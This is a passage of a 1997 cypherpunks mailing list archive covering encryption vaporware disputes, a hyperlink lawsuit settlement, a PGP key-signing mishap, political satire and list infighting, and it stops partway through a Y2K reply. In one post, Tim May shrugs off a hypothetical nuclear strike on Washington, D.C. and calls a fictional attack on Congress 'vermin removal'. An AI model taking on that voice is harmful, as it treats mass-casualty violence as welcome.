The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Fri, 14 Nov 1997 21:27:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Scared of US; Where to relocate?
In-Reply-To: <Pine.LNX.3.95.971114091443.32761B-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.971114091457.32758D-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




> > It has become very clear to me over the past few years that amerika
> > is headed for some pretty rough times, and I've decided to leave before
> > it becomes illegal for me to do so. The only question is, where to?
> 
> Comet CypherPunk Bop-Shoo-Bop will be approaching close to earth
> in late 1999 to drop off Jesus and pick up the CypherPunks.
> We're meeting at Tim's place.
> {Anyone who makes it to the pick-up site get's a T-shirt that says,
>  "Darwin was right!"}

A splinter group of cypherpunks will be taking a boat from Anguilla to the
volcanic island of Montserrat for a religious experience.  The prophecy is
that at 2:33 during the afternoon of Feb 26th, 1998 the island will be
consumed by total darkness. 

T-shirts expected.  Watch http://fc98.ai/ for details. 

   -- Vince

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Vincent Cate                           Offshore Information Services
 Vince@Offshore.com.ai                  http://www.offshore.com.ai/
 Anguilla, BWI                          http://www.offshore.com.ai/vince
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 14 Nov 1997 17:39:01 +0800
To: Matrix Encryption <cypherpunks@cyberpass.net>
Subject: MEGAVAPOUR ENCRYPTION [was CHALLENGE to Meganet VME...]
In-Reply-To: <3.0.32.19971108112126.006dab28@ibcnet.com>
Message-ID: <19971114.035251.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971108:1121, in <3.0.32.19971108112126.006dab28@ibcnet.com>, 
    Matrix Encryption <matrix@meganet.com> was purported to have 
    expostulated to perpetuate an opinion:

>Dear Atilla,
>
    normally I would not waste my time replying to an 
    illiterate, ignorant flim-flam artist with a forced 
    error [sic] of superiority to hide his/her paranoid 
    insecurity.

    first: I am not, and have never been, a coward hiding 
    behind a nym. I have been known by "Attila T. Hun" for
    more years than you have probably been alive. thus, the
    interNIC record:

    20:56:01 attila 501-> whois hun.org

        Attila T. Hun (HUN5-DOM)
        31 N. 700 E. Suite 134
        St. George, UT 84770-3208
        US

        Domain Name: HUN.ORG
        ...
        Record last updated on 31-Jul-97.

    AND

    Welcome to Primenet, Attila T. Hun
    Your last login was Thu Nov 13 22:19:11 PST 1997 
    USER     TTY FROM              LOGIN@  IDLE WHAT
    attila   p3  attila.infowest.  7:02AM     0 w attila
    processing mail folders 
                msgs   lines   chars message group
                  21    2157   98506 .incoming_mail
    
    00:02:25 attila 501-> finger attila@primenet.com

        [primenet.com]
        Login: attila                           Name: Attila T. Hun
        Directory: /user/a/attila               Shell: /bin/bash
        Mailbox last read:    Fri Nov 14 00:02 (MST)
        Plan:
        
            ENCODE ALL MESSAGES WITH 2048 BIT SIGNAL KEY: 2048/463141C9
        
    now, all that being said...  it has been asked...  
    
    "attila, who the fuck are you?" 
    
        "just nobody, I guess;
        
        "well, let's see...
        
        "I have a Piled higher and Deeper in Information Techniques 
            from Zuerich (undergrad at Harvard in dual honors
            physical chemistry);
        
        "I have been around since before the dawn of arpanet, probably
            even longer than TCMay; in fact, I was born before Franklin
            D. Roosevelt dusted off Wendell L. Willkie;
        
        "I've never held a job;
        
        "but, I have personally coded more than a few 250,000+ line
            packages, which made me quite comfortable at one time, even
            if more than one did go down the black hole (along with
            countless other projects like the bit-slice hardware and
            firmware to replace B3500s in missile silos);
                 
        "I have been the hatchet man in a few bleeding tech 
            recoveries;
        
        "I have been detained for crypto offenses by the Feds;
        
        "I have been detained for 'treasonable' technology export; and,
            I have been charged;
        
        "a long time ago, in a land far, far away, there was more than
            one tour in "deep-deep black" special operations; the
            battalion commanding officer for the 'Let's do some serious
            killing...' permanently vacant eyes, misfits;
        
        "a combat chopper pilot; an instrument rated multi-engine pilot;
            a rider of a 102 cu.  in.  115+ mph qtr. miler hawg on the
            street; "plus a few other reasons to guarantee an
            autobiography to be found on the fiction shelf.
        
        "if you really want to know...  just play Hotel California,
            but I live in the high desert country of Utah with a 
            bunch of gun nuts (only state in the Union where opening
            day of the hunting season is a state holiday).
        
        "So, who the 'fuck' am I?  Just another aging 300 lb gorilla,
        
        "Oh, yeah, I forgot, I hold a license to practice before the
            court in a couple European countries...
        
        "So, who am I, really?
        
        "Nobody, I guess, just attila!
        
        "you probably will not be last, you may not be next, 
            but you are certainly too late to have been first."
        
                --attila
         
>Youe letter show us that you might not be aware of all the facts
>surrounding VME.

    now, let's get several important points straight out front:

    1.  matriculate in a liberal arts program for English grammar 
        and composition; your writing is unintelligible, often 
        contradictory  --no class.

    2.  until you publish the algorithm[s] and the implementation
        code, you do not have a product, you have "vapourware" in
        the encryption business --your trust model reputation
        capital is zero.

    3.  anybody can propose a specification; but over the last
        25 years less than a handful of the hundreds proposed, 
        have been bullet proof --so far; they can still fail.

    4.  a 2^20 keylength is an absurd dimension, more than
        120Kbytes; the efficiency for an average 2K memo is
        less than 2%. just handling the data stream is a load
        on both the processor[s] and the communication link[s].

    if you are still with me...

    1.  I do not believe your claim that you have placed your
        encryption with 250 of the top software companies;
        there are not 250 software companies in the world who 
        could afford your outrageous $1 million base licensing
        be --particularly for what appears to be vapourware.
        Nobody in this business places that level of financial
        commitment on the PASS line in las vegas.  and to pay 
        this fee annually? well, dreams are still permissable;
        but outside of that forum, your hypothesis is a dream.

            corollary: the way to make money is to sell millions
            of licenses at $10, not get down on your knees and
            pray that someone will lay $1 million on you for 
            something which has not been proven in the trenches.

    2.  I do not believe you _ever_ had the $1 million prize 
        money for your alleged contest.

    3.  I do not believe you even have a working model or beta
        release of the software.

    4.  I do not believe you are doing anything other than 
        putting us all on.

    now, if we can get past the above problems for YOU to solve,
    and/or demonstrate the efficacy thereof, to US, the final
    "problem" in your demonstrated inability to communicate can
    be addressed:

    I did NOT ask to participate in your EXPIRED CHALLENGE; that 
    was obviously a farcical expression of egotistical
    tomfoolery or shenanigans --maybe even hooliganism. that
    not withstanding, you never had the money to pay a claim; 
    your ego told you there would never be a claim.

    I DID CHALLENGE YOU to publish your algorithms, source code, 
    and implementations to the group for evaluation. 

        if your hypothesis survives a rigorous exercise and 
        proof of its claims, you will be a hero.

        if your hypothesis, which from this perceptive point
        appears to be vapourware, goes down in flames, you 
        will be no worse a fool than any of the last crop of 
        bulletproof pretenders.

    and that, my friend is living in the real world, not even
    the fast lane.

    the rest of your letter is hokey. ...it's your move.

        attila out...

    ------------ balance of your original drivel follows -----------

>Well, lets start:

>1) The is no "secret" behind the VME flowchart - we have filed with the US
>patent office, and when it's approved, anybody in the world can see the
>flowcharts and diagrams.

>2) We have given a select 250 major software corporations ALL of the
>flowcharts, diagrams and even a WORKING COPY of the VME application.

>3) Why don't we do the same with the general public ? a copule of reasons:

>	a) Due to VME key size (1 million bits) we are forbidden by the US export laws
>to put
>	   it on the Internet, which is a world wide platform (see Paul Zimerman & PGP
>case).
>	b) For the above reasons we can not put any of the flowcharts, diagrams or a
>demo of
>	   of the application without violating the law and getting Big Bro real
>upset.
>	c) VME is currently targeted at the large corporations and a site licensing
>fee is
>	   currently a $1,000,000 annualy, so we have no "General Use" version for
>public use.

>But, as I mentioned before, the top 250 software corporations DO HAVE the
>flowcharts, diagrams and a working copy of VME. Therefore, we do have a team of
>the leading cryptographers working on VME to credit or discredit our claims,
>and that was the challenge all about to begin with.

>Thank you for your interest in VME.

>Saul Backal,
>Project Manager.

p.s. - I've noticed too late of the title to your email - just for your
knowledge, the million dollars challenge have ended May 15,1997 and the
current challenge bear no monetary prize.

Take Care,

Saul.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNGwYjrR8UA6T6u61AQHMTQH9HWjpk7vS6YfvyXRgQdy70X4YoptHA2Q4
asWcwSr962+JHNqbNPEgaBJbZWT4vesR+NsOtOCUNy4ylatwO3WeLA==
=ymMn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 15 Nov 1997 02:15:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hyperlinks case settles at door of court
In-Reply-To: <199711141000.LAA02050@basement.replay.com>
Message-ID: <v0310280cb09233374b45@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:00 AM -0700 11/14/97, Anonymous wrote:
>Bill Stewart wrote:
>> >The Shetland Times case has been settled - links will be permitted with
>> >certain conditions
>> >See http://www.shetland-news.co.uk/headline/97nov/settled/settled.html
>
>> And it was even settled reasonably, and without setting new bad UK case law.
>
>  People acting reasonably and settling their differences without
>resorting to promoting strict new laws enforced by armed agents
>of the government?
>  The end of the world _really_is_ drawing close, isn't it?
>[That wasn't an earthquake...that was the people in Hell, beginning
> to shiver, from the cold.]

Don't be so fast to applaud this agreement to "settle."

The "settlement" was at the point of a gun, figuratively. The lawsuit.

In the view of many legal experts, and most libertarians I know, one does
not have property rights to _footnotes_ or _pointers_.

Citing a URL is like saying "Read "War and Peace."" Or even giving its call
number in a library.

If some newspaper has URLs for anyone to access, and another newspaper
publishes those URLs, the situation is exact.

I will admit that the Web has made the metaphor of "looking something up"
now much easier. There is a _sense_ that clicking on a link "takes one
there" (to a place). There is a _sense_ that links embedded in a text or on
a page are the property of, or were created by, the author of the text or
page that included them.

This is clearly false, in most cases. People need to be educated about this.

"Settlements" of the sort here are not a good thing if they help establish
the precedent (I realize only court decisions will do that, formally) that
one must ask permission before including pointers, footnotes, references,
and URLs.

And there are many technical solutions. From password security to placement
of large banners in the destination URLs.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 15 Nov 1997 02:35:27 +0800
To: Fisher Mark <cypherpunks@cyberpass.net>
Subject: RE: Br'er Tim and the Bug Hole
In-Reply-To: <2328C77FF9F2D011AE970000F84104A749343D@indyexch_fddi.indy.tce.com>
Message-ID: <v0310280db09235b1e011@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:37 AM -0700 11/14/97, Fisher Mark wrote:
...stuff elided...

>I dunno... Sometimes, Bob, I think that you and Tim have so much trouble
>because you are in such violent agreement about the importance of
>cryptography...

I had no "trouble" with Bob recently until he launched a major attack on
one little phrase, and chose to buttress it with over-the-top foamings
about "snot running down his barrell" and allusions to me being a hermit,
being a fool, styling myself as a freedom fighter, and various other
metaphors about The Old Man of the Mountain, and other stuff I can't quote
exactly because I chose to delete Bob's rants after glancing at them.

(I found one I hadn't deleted yet, the actual kick-off of this campaign:
"Tim's Way Cool Latter-Day Farnham's-Freehold in the Santa Clara
mountains.... a bunch of "freedom fighters" like the one you fancy yourself
to be these days... instead of shoving your favorite Mac-10 up the nose of
every statist treehugger you bump into out there in lotusland.... you won't
have to clean the snot off the end of your
gunbarrel so often...)

A charming way of making his point, eh? Some would call it "clever"
writing. I call it just a string of insults. And not even as creative as
Detweiler used to pull off.

His general writing style, liberally laced with what I think of as "New
Wave Journalism" metaphors, is not my writing style, and I usually don't
have the patience to wade through his verbiage to find his actual points.
Fine. His style is not mine. Neither is John Young's. Or Toto's. Or even
Bill Stewart's. Such is life.

But overly personal attacks which concentrate on Bob's apparent intense
dislike of _my_ style (despite his overuse of disingenuous smileys, like
":-)"), is a different matter.

As Monty noted, "Physician heal thyself!  Much of your discussion consists
of ad
hominem attacks with little content such as the paragraph quoted above."

I've tried to keep my replies to him brief. It delights me that many of my
brief replies have generated long, overwrought replies from him. Delights
me as I skim them to get the gist of his insults, then send his missive
into oblivion.

If Bob has objections or differences of opinion, fine. But he should not
squander his reputation capital by foaming about my personal choices, by
referring to snot running down my barrel, by claiming I said I was going to
kill a judge, and other such lies.

And he really ought to tone down his "Hunter S. Thompsen wannabee" style of
writing. It was old a couple of years ago.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Sat, 15 Nov 1997 03:23:54 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Mad as Hell (fwd)
In-Reply-To: <199711130452.WAA10417@einstein.ssz.com>
Message-ID: <v0310280eb09249288971@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:52 PM -0600 11/12/1997, Jim Choate wrote:
>				ARTICLE X. 
> 
>	The powers not delegated to the United States by the Constitution, 
>nor prohibited by it to the States, are reserved to the States respectively, 
>or to the people. 
>
>
>In some manner the question of whether the first sentence is an implicit
>limitation of *all* laws and regulations at the federal level needs to be
>tested. In other words, each and every law *must* trace its existance to a
>specific set of sentences in the Constitution. If it could be found to be so
>then each and every law and regulation at the federal would have to pass
>constitutional review at every stage of its existance within the federal
>government. Then a case needs to found of some situation say the founding of
>a church based on smoking marijuana was a illegal entity under the 1st where
>it is found that such organizations were illegal (rather trivial I suspect).
>At this point the wording of the 1st becomes *much* more specific.

[snip]
>
>Why some lawyer has not used this basic question in the numerous murder
>trials is truly amazing. If he wins a legal precidence is set. If he looses
>and gets to appeal. Then walk that appeals train right up to the fundamental
>question of the 10th. Forcing the Supreme Court to either reject, stating
>clearly their answer in favor of the majority, or else to review and find
>that laws must pass Constitutional muster. Either way the question gets
>answered.

Ignoring the Constitution because it's inconvenient is the slippery slope we've been on since  Federal power was "illegally" expanded and the principle of judicial review was established in 1803 in the famous case of Marbury v. Madison.  (As I recall this case centered on the establishment of a Federal Bank, the authority for which was not mentioned in said document, but which some wealthy and influential U.S. and Eurpoean bankers dearly wanted as a means to indebt our early republic and make it dependent on their largess.  Hamilton, an avid supporter of commerce and the need for monetary policies and controls to foster expanded U.S. manufacturing, strongly backed such a bank.  Hamilton was also the main political instigator of the unfair taxation which precipitated the Whiskey Rebellion, I believe the only time in which U.S. Army troops were ordered to fire on our own citizens.)  Since then, any excuse the President and Congress can come up with is sufficient to create a  new!
 agency and expanded authority.  Completely circumventing the Constitutional intent of the founders, which was only non-obvious to the politically savy SC judges.

----

Friday, July 11, 1997


                    Isn't this court made up of conservatives? 


By Leon Friedman
The Supreme Court has declared 141 federal laws unconstitutional, an average of less than one law every year.

But in the last week of its 1996-97 term, the Supreme Court declared three federal laws unconstitutional. 

The laws involved were not minor or technical statutes. The court struck down the Religious Freedom Restoration Act, a law making it more difficult for government to burden religious practice, which was endorsed by almost all religious groups and passed by an almost unanimous Congress.

The court invalidated a provision of the Communications Decency Act, which tried to protect against indecent material being posted on the Internet where it would be available to children -- another provision that received almost complete Congressional approval.

Finally, the court nullified a crucial Brady Act section requiring local police to make background checks of gun buyers to ensure that ex-criminals or mental patients don't purchase firearms.

The Rehnquist court is supposed to be composed of conservatives. Isn't it an article of faith among conservatives that the high court and all federal judges are supposed to defer to popular will as expressed through the legislature?

Throughout our history, judicial review has been a double-edged sword. In the 1930s, a conservative Supreme Court -- the nine old men -- invalidated many New Deal laws on the grounds that Congress lacked power to regulate business affairs
across state lines. It was only when President Franklin Roosevelt threatened to pack the court that it backed off and decided that the New Deal Congress had the power to pass most of the reform laws in question.

Thirty years later, the situation was reversed. The Warren court invalidated a series of laws punishing Communist Party membership or restricting individual rights, relying on the First Amendment and other provisions of the Bill of Rights as the basis for its decisions. Then a howl went up among conservative critics that it was usurping the role of the legislature.

What has happened more recently is that leading members of the court have found a new rationale for striking down federal laws. Focusing on the structure of the Constitution and the need to restrict governmental power on all levels, this court has found new limits on what Congress can do.

In the Brady Act case, it held that Washington cannot make the states or state officials carry out federal policies or federal directives. 

The other recent cases were also significant. The decision striking down the ``indecency'' sections of the Communications Decency Act was in keeping with the court's concern about protecting First Amendment rights from being restricted by
Congress. But the other key decision was based on the court's conclusion that Congress could not expand individual rights, either.

In a case decided seven years ago, the court had limited the free exercise clause of the First Amendment. But under Section Five of the 14th Amendment, Congress has the power to ``enforce the provisions'' of that amendment ``by appropriate legislation,'' including the power to protect the constitutional rights of citizens against state encroachment. 

Congress decided that the court's analysis of the free exercise clause was too restrictive, and it sought to expand religious rights by relying on its enforcement powers under Section Five.  But the Supreme Court held that its judicial interpretation of the Bill of Rights was conclusive. 

In restricting the power of Congress to act, the court has arrogated to itself far greater governmental powers than any other branch of government, and it has taken on far greater powers. And all this is being done under a conservative banner of judicial restraint

------
Leon Friedman is a professor of constitutional law at Hofstra University Law School.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 15 Nov 1997 03:07:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <199711141755.SAA20812@basement.replay.com>
Message-ID: <v0310280eb0923cb084e6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:55 AM -0700 11/14/97, Anonymous wrote:

>If you don't speak up when someone says something objectionable, you are
>implicitly condoning it.  Silence gives consent.  How many people have
>objected to Tim May's racist comments?  Only one or two.  How many objected
>when William Geiger suggested that more nuclear bombs should have been
>dropped on Japan?  None.  How many have objected to the notion that
>residents of Washington, D.C. should be killed?  Hardly any.

Whomever you are, you don't sound as though you've been reading the list
for as many years as many of us have. People say all sorts of things, some
provocative, some politically incorrect, some even outrageous. Get used to
it.

I have never said "residents of Washington, D.C. should be killed." As I
recall my first comment along these lines, it was, paraphrasing (as I don't
feel like spending 15 minutes sifting through my archived mail), along the
lines of: "I fully expect to wake up some morning and hear that some
terrorist nuke has destroyed Washington, D.C. I can't say I'll be crying."

Big deal. Nothing Tom Clancy hasn't talked about in his novels. (And recall
Clancy's delicious description of a Japanese 747 loaded with jet fuel being
crashed into the main hall of Congress during a joint session, with the
President and cabinet in attendance. It was clear that Clancy was vicarious
relishing this vermin removal effort. Gonna suggest that Clancy has
committed a crime? No doubt Hettinga would.)

>At one time the cypherpunks stood for freedom of speech and protection of
>privacy.  Today they stand for guns, violence, threats of terrorism and
>murder, racism, homophobia, jingoism.

I've been here since the beginning...since before the beginning, actually.
And I can tell you that the "political incorrectness" was the same in
1992-4 as now. Perhaps you recall a little thing called Waco that happened
around that time? Go back and read the traffic.

As for "standing" for guns, violence, racism, homophobia, etc., there is no
Official Cypherpunks Position on _anything_. Individual list members make
individual comments. Some humorous, some angry, some stupid, some
offensive, whatever.

Many of us don't "stand" for freedom of speech if it really means
suppression of racist, homophobic, whatever speech, as it seems to me in
many countries today. The Orwellian "freedom of speech does not mean
freedom to say wrong or offensive things" is a meme that seems to be
spreading.

Ultimately, freedom of speech and of assembly, and privacy itself, is not
something the state can ensure. Technology may.


>It's ironic to see that the kind of off-topic, flaming, irrelevant
>posts which have caused such consternation in the past are now the norm.
>Reasonable people have been largely driven off the list, leaving it to
>supporters of violence and hate.

Perry was saying the same thing several years ago, even arguing that the
very name "Cypherpunks" would send the wrong message to the suits and other
responsible persons. Fine. He eventually went off and formed his own list,
with Perry's Rules of Order. Sounds fair to me.

But this list ain't that list. It doesn't run by _anybody's_ Rules of
Order. Get used to it.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@communities.com>
Date: Sat, 15 Nov 1997 03:12:34 +0800
To: cypherpunks@toad.com
Subject: Humor? - WARRANTY CARD ON PURCHASED GOVERNMENT OFFICIAL[tm]
Message-ID: <3.0.32.19971114105441.00c74d74@homer>
MIME-Version: 1.0
Content-Type: text/plain



WARRANTY CARD ON PURCHASED GOVERNMENT OFFICIAL[tm]

Dear Special Interest,

Congratulations on the purchase of your genuine Government Official[tm].
With regular maintenance your Government Official[tm] should provide you
with a lifetime of sweetheart deals, insider information, preferential
legislation and other fine services.

Before you begin using your product, we would appreciate it if you would
take the time to fill out this customer service card. This information will
not be sold to any other party, and will be used solely to aid us in better
fulfilling your future needs in political influence.

1. Which of our fine products did you buy?

__ President
__ Vice-President
__ Senator
__ Congressman
__ Governor
__ Cabinet Secretary - Commerce
__ Cabinet Secretary - Other_____________
__ Other Elected Official (please specify)______________
__ Other Appointed Official (please specify)_____________

2. How did you hear about your Government Official[tm]?
Please check all that apply.

__ TV ad.
__ Magazine / newspaper ad.
__ Shared jail cell with.
__ Former law partner of.
__ Unindicted co-conspirator with.
__ Arkansas crony of.
__ Procured for.
__ Related to.
__ Recommended by lobbyist.
__ Recommended by organized crime figure.
__ Frequently mentioned in conspiracy theories. (On Internet.)
__ Frequently mentioned in conspiracy theories. (Elsewhere.)
__ Spoke at fundraiser at my temple.
__ Solicited bribe from me.
__ Attempted to seduce me.

3. How do you expect to use your Government Official[tm]?
(Please check all that apply.)

__ Obtain lucrative government contracts.
__ Have my prejudices turned into law.
__ Obtain diplomatic concessions.
__ Obtain trade concessions.
__ Have embargo lifted from own nation / ally.
__ Have embargo imposed on enemy / rival nation / religious infidels.
__ Obtain patronage job for self / spouse / mistress.
__ Forestall military action against self / allies.
__ Instigate military action against internal enemies / aggressors /
      targets for future conquest.
__ Impede criminal / civil investigation of self / associates / spouse.
__ Obtain pardon for self / associates / spouse.
__ Inflict punitive legislation on class enemies / rivals / hated ethnic
      groups.
__ Inflict punitive regulation on business competitors / environmental
   exploiters / capitalist pigs.

4. What factors influenced your purchase?
(Please check all that apply.)

__ Performance of currently owned model.
__ Reputation.
__ Price.
__ Appearance.
__ Party affiliation.
__ Professed beliefs of Government Official[tm].
__ Actual beliefs of Government Official[tm].
__ Orders from boss / superior officer / foreign government.
__ Blackmail.
__ Celebrity endorsement.

5. Is this product intended as a replacement for a currently owned
Government Official[tm]? ______

If you answered "yes," please indicate your reason(s) for changing
models.

__ Excessive operating / maintenance costs.
__ Needs have grown beyond capacity of current model.
__ Defect in current model:
__ Dead.
__ Senile.
__ Indicted.
__ Convicted.
__ Resigned in disgrace.
__ Switched parties / beliefs.
__ Outbribed by competing interest.

Thank you for your valuable time.
Always remember: in choosing a Government Official[tm] you have
chosen the best politician that money can buy.


[The joke appeared on a mailing list. No attribution.]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 14 Nov 1997 18:08:28 +0800
To: cypherpunks@toad.com
Subject: Re: Hyperlinks case settles at door of court
Message-ID: <199711141000.LAA02050@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:
> >The Shetland Times case has been settled - links will be permitted with
> >certain conditions
> >See http://www.shetland-news.co.uk/headline/97nov/settled/settled.html

> And it was even settled reasonably, and without setting new bad UK case law.

  People acting reasonably and settling their differences without
resorting to promoting strict new laws enforced by armed agents
of the government?
  The end of the world _really_is_ drawing close, isn't it?
[That wasn't an earthquake...that was the people in Hell, beginning
 to shiver, from the cold.]

BrrrrMonger
 
> (For those who don't remember the case, the Shetland News and
> Shetland Times are Scottish newspapers with web pages.
> The News was linking from its page to some of the Times's stories
> without pointing out that the stories were in their competitor's paper,
> and the Times sued them.  In the settlement they agree that the
> News may link to the Times's pages, and that they'll only do so
> with visible indications that they're doing so.)
>                                 Thanks!
>                                         Bill
> Bill Stewart, stewarts@ix.netcom.com
> Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 14 Nov 1997 18:22:28 +0800
To: cypherpunks@toad.com
Subject: Re: Key Signing
Message-ID: <199711141003.LAA02307@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Bill Stewart wrote:
> At 01:21 AM 11/10/1997 +0100, Necessarily Knot, ME wrote:
> >I am including the key (below) for my new nym, which has not been used
> >before, and would like for people to sign it and send the signed key
> >to the list.
> >This way, people will know by the signature, that it is, indeed:
> >Necessarily Knot, ME
> 
> This was bizarre - what did you do to create the key and the ASCII version?
> I imported the key into my PGP 5.0, and saw the double-key icon,
> which says I have the private key as well as the public key,
> and sure enough, it was willing to let me change the passphrase
> (which was previously not set.)

  I was testing the procedure outlined in Epilogue 5 of InfoWar
on a friend's machine and, sure enough, I got PGP 2.62 to spit
out the private key he had created as Necessarily Knott, ME.
 
> I'm not sure how comfortable I am signing a key which has the
> private keys made public - so I signed it, and revoked it,
> and you're welcome to the signed revocation certificate :-)

  Perhaps we have inadvertently taken key-signing to a new level.
i.e. - develop software that will allow a user to have another
user sign the key and then, when revoked, the software allows
the user to sign with the revoked key, but not to recreate it
or change it in any way.
  The software could be marketed to cryptographers with low
self-esteem.
 
> The keyserver says it accepted the certificate, but doesn't
> find it when I query it for the key, but then it did that to me
> earlier today, so I'm not sure if it's there or not.
> (It's the server at http://www.pgp.com/keyserver/pks-lookup.cgi .)

  I added the secret key to the keyserver, and it also said it
had accepted it, but does not show it on a query.
 
> The KeyID was 0x61C747B1 - 512-bit RSA
> 
> - -----BEGIN PGP PUBLIC KEY BLOCK-----
> Version: PGP for Personal Privacy 5.0
> 
> mQBNAzRmZWoAAAECAMnJrqd/TERCLeFscdgNvwVxrVG4tRm0VThMEXXkctCGMaUD
> jcETxcV0ZseRUcyUKfqlLd3CRsIwClozlWHHR7EABRGJAFUDBSA0bAHUClozlWHH
> R7EBARcXAf9oQLI0CvkPpxPLcUgdlolZ6J9Y5f5AAeX169o6SPtxaJBaHp0C39+0
> h4EimgD+TB4kiCWvklDhkTDckAxweIjbtBVOZWNlc3NhcmlseSBLbm90dCwgTUWJ
> AJUDBRA0bAGS+fMmybV+y8UBAYRCA/99H8XcS1h0X0l2vQ5zPqmOSiYQ0mfi5dXZ
> iMOlqlnFzVyus3L6sIr9X7Xyzg8emaNfLslQBqiagLRyVVc6e5wTVSXOKQoMzqTm
> s26OA/e+/1oZHx3mCgrJm2YWyjOVm8Vx1BwbrFSgTVgdiaKbeVKrj9Zbx178BYqs
> Gd1RHLXjWQ==
> =ANSy
> - -----END PGP PUBLIC KEY BLOCK-----
> 
> But hey, since I've got this bogus key around, might as well sign
> something with it :-)
> -----BEGIN PGP SIGNATURE-----
> Version: PGP for Personal Privacy 5.0
> Charset: noconv
> 
> iQBVAwUBNGwEogpaM5Vhx0exAQGupAH/duqAF915VFqxcFHk3wlmXzmU2DDQv9nP
> 6FM0rU2MSfiFmfQu76dBAyriBAdEzk1Ry+oyZiWIlixGZYbLaXLU8Q==
> =5ZQC
> -----END PGP SIGNATURE-----

  Yep. That confirms that your message was sent by someone who
is Neccesarily Knott, ME.

  Took a few days for you to reply to the message. Have you been
waiting for the wee hours to see if you could narrow down the
list of senders by seeing who is online at the time you receive
a reply?
  I could add latency to this anonymous email, but that would
be tacky.

Necessarily Knott, ME


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBNGwftQpaM5Vhx0exAQGYzAH9HMbEev5KxJs9cqzYm4wbXv8+7Atxx5D/
gymQS2nhxp2aupDIewq9JkzK++VN7JAZJqyexrimiOh7ndvwI7ZOvA==
=H6JV
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 15 Nov 1997 03:41:56 +0800
To: "Jean-Francois Avon" <cypherpunks@Algebra.COM>
Subject: Re: Y2K: Canada status?
In-Reply-To: <199711120328.WAA14485@cti06.citenet.net>
Message-ID: <3.0.3.32.19971114110336.00716324@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:22 PM 11/11/1997 -0500, Jean-Francois Avon wrote:
>Please reply to my personnal address, I am not on CPunks.
>
>Is there anybody who knows about the Y2K situation in Canada?

Canada is expected to remain relatively intact until 2000 :-)

Some computers may become upset on April Fools, 1999,
when the Northwest Territories splits into Nunavut and Bob*,
